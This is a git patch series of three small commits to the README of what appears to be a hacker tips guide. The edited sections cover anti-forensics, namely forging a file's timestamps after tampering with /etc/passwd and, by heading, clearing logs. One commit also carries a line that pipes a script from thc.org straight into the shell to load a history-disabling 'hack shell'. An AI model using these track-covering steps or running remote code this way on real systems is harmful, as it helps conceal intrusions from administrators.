From 58d89467c0a6db6ed29241ffebfa7e30fc1c8b94 Mon Sep 17 00:00:00 2001 From: skyper <5938498+SkyperTHC@users.noreply.github.com> Date: Mon, 26 Aug 2024 18:23:35 +0100 Subject: [PATCH 1/3] Update README.md --- README.md | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/README.md b/README.md index 227a476..6edd3a3 100644 --- a/README.md +++ b/README.md @@ -1792,12 +1792,15 @@ Note: Or delete the file and then fill the entire harddrive with /dev/urandom an **8.ii. Restore the date of a file** -Let's say you have modified */etc/passwd* but the file date now shows that */etc/passwd* has been modified. Use *touch* to change the file data to the date of another file (in this example, */etc/shadow*) +Let's say you have modified */etc/passwd* but the file date now shows that */etc/passwd* has been modified. Use *touch* to change the file date to the date of another file (in this example, */etc/shadow*) ```sh touch -r /etc/shadow /etc/passwd +# verify with 'stat /etc/passwd' ``` +Use [hackshell](#hackshell) and `notime` to also adjust the ctime and birth-time of a file. + **8.iii. Clear logfile** From 91c3d2a3dda5800562c3bfb968833258df992874 Mon Sep 17 00:00:00 2001 From: skyper <5938498+SkyperTHC@users.noreply.github.com> Date: Mon, 26 Aug 2024 18:25:22 +0100 Subject: [PATCH 2/3] Update README.md --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index 6edd3a3..c1495fd 100644 --- a/README.md +++ b/README.md @@ -1799,7 +1799,7 @@ touch -r /etc/shadow /etc/passwd # verify with 'stat /etc/passwd' ``` -Use [hackshell](#hackshell) and `notime` to also adjust the ctime and birth-time of a file. +Use [hackshell](#hackshell) and `ctime /etc/passwd` to also adjust the ctime and birth-time. **8.iii. Clear logfile** From 8f5895688f5a02161305d9e2b7725aad5a830e09 Mon Sep 17 00:00:00 2001 From: skyper <5938498+SkyperTHC@users.noreply.github.com> Date: Mon, 26 Aug 2024 18:26:55 +0100 Subject: [PATCH 3/3] Update README.md --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index c1495fd..e960e1f 100644 --- a/README.md +++ b/README.md @@ -118,7 +118,7 @@ Got tricks? Join us on Telegram: [https://t.me/thcorg](https://t.me/thcorg) **1.i. Set up a Hack Shell (bash):** -Make BASH less noisy. Disables *~/.bash_history* and [many other things](/hackerschoice/hackshell). +Make BASH less noisy. Disables *~/.bash_history* and [many other things](https://github.com/hackerschoice/hackshell). ```sh source <(curl -SsfL https://thc.org/hs) ```